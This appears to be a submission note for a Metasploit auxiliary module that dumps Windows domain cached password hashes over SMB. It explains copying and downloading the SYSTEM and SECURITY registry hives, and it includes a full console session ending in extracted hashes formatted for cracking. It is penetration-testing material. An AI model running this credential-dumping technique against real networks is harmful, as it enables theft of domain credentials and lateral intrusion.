Added new auxiliary module cachegrab.rb

This module extracts Domain user cached password hashes from a system or range of systems. It does so by using native windows functionality to store copies of the SYSTEM and SECURITY hive files in the WINDOWS\Temp directory and then downloads the hive files to the attacking machine to a directory specified at run time. Unless the module errors while running it will delete the hive copies from the WINDOWS\Temp directory. Once the hive files are stored locally they are opened up and the cached password hashes are extracted. This is great when ran against a large number of systems for getting domain cached credentials that can be broken with a good dictionary file.

Appears to work very well with threads tested on two large enterprise networks on several hundreds of systems simultaneously.

Only issue is with authentication. Sometimes it fails with "Login Failed: execution expired". Try again and it works, not sure what is the cause of this.

<pre>
msf  auxiliary(cachegrab) > use auxiliary/scanner/smb/cachegrab 
msf  auxiliary(cachegrab) > set rhosts 10.0.10.133
rhosts => 10.0.10.133
msf  auxiliary(cachegrab) > set smbuser Administrator
smbuser => Administrator
msf  auxiliary(cachegrab) > set smbpass @ccuv@ntL@bs!
smbpass => @ccuv@ntL@bs!
msf  auxiliary(cachegrab) > show options

Module options (auxiliary/scanner/smb/cachegrab):

   Name       Current Setting                  Required  Description
   ----       ---------------                  --------  -----------
   LOGDIR     /tmp/msfhashes2012-11-06-165811  yes       This is a directory on your local attacking system used to store Hive files and hashes
   RHOSTS     10.0.10.133                      yes       The target address range or CIDR identifier
   RPORT      445                              yes       The Target port son
   SMBDomain  WORKGROUP                        no        The Windows domain to use for authentication
   SMBPass    @ccuv@ntL@bs!                    no        The password for the specified username
   SMBSHARE   C$                               yes       The name of a writeable share on the server
   SMBUser    Administrator                    no        The username to authenticate as
   THREADS    1                                yes       The number of concurrent threads

msf  auxiliary(cachegrab) > run

[*] Creating hive copies on 10.0.10.133
[*] 10.0.10.133 - Downloading SYSTEM and SECURITY hive files.
[*] Running cleanup on 10.0.10.133
[*] 10.0.10.133 - Opening hives on the local Attack system
[*] 10.0.10.133 - Extracting Domain Cached Password hashes.
[*] Dumping cached credentials...
[*] John the Ripper format:
[+] serveradmin:ec0df2a09f01e2d6c2a9ce05489e3ab3:dbz-vuln.nets:dbz-vuln  -  10.0.10.133
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(cachegrab) > 
</pre>

Blog Post:
http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access